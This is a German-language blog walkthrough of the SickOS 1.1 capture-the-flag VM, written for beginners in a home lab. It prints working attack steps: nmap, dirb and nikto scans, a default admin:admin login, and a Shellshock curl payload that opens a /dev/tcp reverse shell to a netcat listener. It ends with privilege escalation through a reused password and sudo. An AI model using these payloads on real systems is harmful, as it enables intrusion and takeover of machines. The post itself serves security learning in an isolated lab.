Capture the Flag-Turniere erfreuen sich besonders in Hackerkreisen und auf den Veranstaltungen des Chaos Computer Club großer Beliebtheit.
Auch zu Hause kann man mit CTF-VMs viel Spaß haben. Im Folgenden möchte ich eine kurze Einführung ins Pentesting an CTF-VMs und einen Walkthrough durch die SickOS 1.1 VM geben. 

Drei Dinge vorweg:

Erstens: Grundsätzlich empfiehlt es sich immer, die Prüfsummen von heruntergeladenen Dateien mit den auf der Website angegebenen zu vergleichen, besonders dann, wenn es sich um ein Betriebssystem-Image handelt.

Zweitens: Die hier verwendeten Befehle haben außerhalb eures Netzwerks und eurer eigenen Systeme nichts zu suchen.

Drittens: Ich übernehme keine Haftung für die Inhalte der verlinkten Seiten 


Einrichten der Pentesting-Umgebung

Das Einrichten der Pentesting-Umgebung ist nicht weiter schwer.

Zu nächst brauchen wir eine VirtualBox-Installation auf dem Rechner. Darin richten wir eine Kali Linux VM mit mindestens 1GB RAM und 12GB HDD Speicher ein. Als nächstes benötigen wir die CTF-VM. SickOS 1.1 muss nach dem Download und dem Prüfen der Hashsumme entpackt und als Appliance importiert werden.

Als letztes muss jetzt noch der Netzwerk-Adapter von NAT auf Host-only umgestellt werden. Eine CTF-VM sollte man nie einfach ins LAN hängen, da sie ein Sicherheitsrisiko darstellt. Bei der Kali-VM sollte man das Netzwerk auf NAT lassen, bis die Installation abgeschlossen ist, damit die Softwarequellen korrekt eingerichtet werden können. Die Kali-VM kann auch mit 2 Netzwerken betrieben werden, dann kann man über das Host-only-Netzwerk an der CTF VM arbeiten und bei Bedarf über den NAT-Adapter auf das Internet zugreifen (Software installieren, etc.).

„Angeschlossen an:“ muss auf „Host-only Adapter“ eingestellt werden!

So, jetzt aber endlich zum…


Walkthrough durch SickOS 1.1

Als Erstes müssen wir natürlich die Kali Linux und die SickOS 1.1 VMs starten. Die SickOS VM läuft nur im Hintergrund, wir arbeiten da nur indirekt über Kali dran.


Information Gathering

Zunächst müssen wir erst mal Informationen sammeln. Über unser Ziel wissen wir nur, dass es im selben Netz ist.

Ein Blick in die Ausgabe von ifconfigsagt uns schon einiges:

  • wir befinden uns im Netz 192.168.99.0/24
  • unsere IP ist die 192.168.99.100
  • anscheinend vergibt der DHCP-Server also IPs ab der 100
    • IPs unter 192.168.99.100 können wir auf der Suche nach dem Ziel also ignorieren

Ein Netzwerkscan mit netdiscoverzeigt, dass es nur eine weitere IP im DHCP-Bereich gibt. Die 192.168.99.102 ist also unser Ziel.

Nachdem wir nun das Ziel kennen, können wir mit der Suche nach Angriffsflächen beginnen.


Attack Vectors

Nach einem Portscan mit nmap -sV 192.168.99.102 sehen wir 2 offene Ports und Services:

  • SSH wird für uns wichtig, sobald wir uns Zugangsdaten beschafft haben
  • Squid wird unsere Angriffsfläche

Schauen wirst erst mal, was hinter dem Squid Proxy steckt. Dazu tragen wir den Proxy im Browser ein und rufen danach die IP des Ziels auf.

Hinter dem Proxy hängt ein Webserver. Bisher sehen wir hier noch nichts spannendes.

Mit Hilfe von DIRB können wir den Webserver auf typische Dateien hin untersuchen. dirb http://192.168.99.102 -p 192.168.99.102:3128zeigt uns eine robots.txt an. Die schauen wir uns mal an.

Laut robots.txt gibt es auf dem Webserver einen Unterordner namens wolfcms.

Das scheint ein Content Management System zu sein… Eventuell können wir darüber Schadcode auf unser Ziel hochladen. Suchen wir doch mal nach der Login-Seite…

Kurz Google befragt und siehe da: die Loginseite liegt unter /admin/ oder /?admin/ – beim Ausprobieren zeigt sich, dass es hier letzterer Link ist. Probieren wir doch mal ein paar Standardpasswörter unkonfigurierter Systeme aus: root:passwordadmin:passwortadmin:admin

Und siehe da, admin:admin verschafft uns Zugang! Nun könnten wir hier mal versuchen, eine PHP Reverse Shell hochzuladen und auszuführen, um so vom Ziel eine Shell auf unserem Host angeboten zu bekommen.

Ich habe mich hier allerdings für einen anderen Weg entschieden. Der Ansatz mit der PHP Reverse Shell funktioniert aber auch.

Wir scannen statt dessen mal auf Sicherheitslücken im Webserver. nikto –useproxy 192.168.99.102:3128 -h 192.168.99.102teilt uns mit, dass der Server gegen Shellshock anfällig ist.


Exploit

Wir starten direkt mal mit nc -nlvp 5555einen Listener auf unserem Host, um auf eingehende Verbindungen zu lauschen.

Flott den passenden Befehl ergooglet und schon testen wir mit curl -H ‘User-Agent: () { ignored; }; echo “Shellshock Confirmed” >& /dev/tcp/192.168.99.100/5555 0>&1’ -x 192.168.99.102:3128 192.168.99.102/cgi-bin/status, ob Shellshock denn wirklich geht. Wenn alles klappt, bekommen wir eine Nachricht auf unserem Listener…

Die Nachricht „Shellshock Confirmed“ ist angekommen. Starten wir also unseren Listener neu und ersetzen echo durch /bin/bash -i.

Mit curl -H ‘User-Agent: () { ignored; }; /bin/bash -i >& /dev/tcp/192.168.99.100/5555 0>&1’ -x 192.168.99.102:3128 192.168.99.102/cgi-bin/statusbekommen wir nun an unserem Listener eine Bash angeboten!

Und  da ist auch schon unser Zugang.


Privilege Escalation

Als nächstes wollen wir gerne Root-Rechte haben. Dafür sammeln wir erst mal wieder Informationen. Vielleicht liegen ja irgendwo ein paar schlecht bewachte Zugangsdaten rum.

Als Benutzer www-data sind unsere Zugriffmöglichkeiten recht eingeschränkt. Schauen wir uns zunächst mal unter /var/www um… Da scheint nichts interessantes zu sein. Schauen wir uns mal im Unterordner wolfcms um…

Oh, da liegt ja eine config.php! Liegen da vielleicht Zugangsdaten für eine Datenbankverbindung drin?

Bingo! Vielleicht haben wir ja Glück und das Passwort wurde mehrfach verwendet…

Schauen wir doch mal in der /etc/passwd, welche Benutzer es sonst noch so gibt… Der Nutzer sickos sieht vielversprechend aus. Probieren wir doch mal, uns per SSH mit den gefundenen Daten einzuloggen…

Mit root kommen wir nicht rein, aber die Kombination sickosund john@123 verschafft uns Zugang. Wir brauchen also unsere Reverse Shell nicht mehr!

id verrät uns, in welchen Gruppen sickos Mitglied ist. Da sickosMitglied in der Gruppe sudo ist, braucht es nur noch ein sudo -iund schon sind wir root!


Extraction

Jetzt müssen wir nur noch die Flagge finden und die Daten extrahieren. Werfen wir mal einen Blick ins Heimverzeichnis von root.

Die Datei a0216ea4d51874464078c618298b1367.txt scheint unsere Flag zu sein.

Damit haben wir SickOS 1.1 bezwungen!

 

Falls ihr jetzt Lust bekommen habt, euch auch mal an einer CTF VM zu versuchen: Von SickOS gibt es noch einen zweiten Teil. Die Kioptrix-Serie soll wohl auch ein guter Einstiegspunkt für Anfänger sein.

 

Dieser Artikel erschien zuerst auf André’s Blog.

Jahrgang 1994. Gelernter Fachinformatiker für Systemintegration und zur Zeit Student der Informatik an der TH Köln. Programmiert, benutzt Solus und bastelt mit Technik. E-Gitarren-Spieler und -Verbastler. Liebt Podcasts und Hörspiele sowie Hörbücher. Interessiert sich für (Netz-)Politik.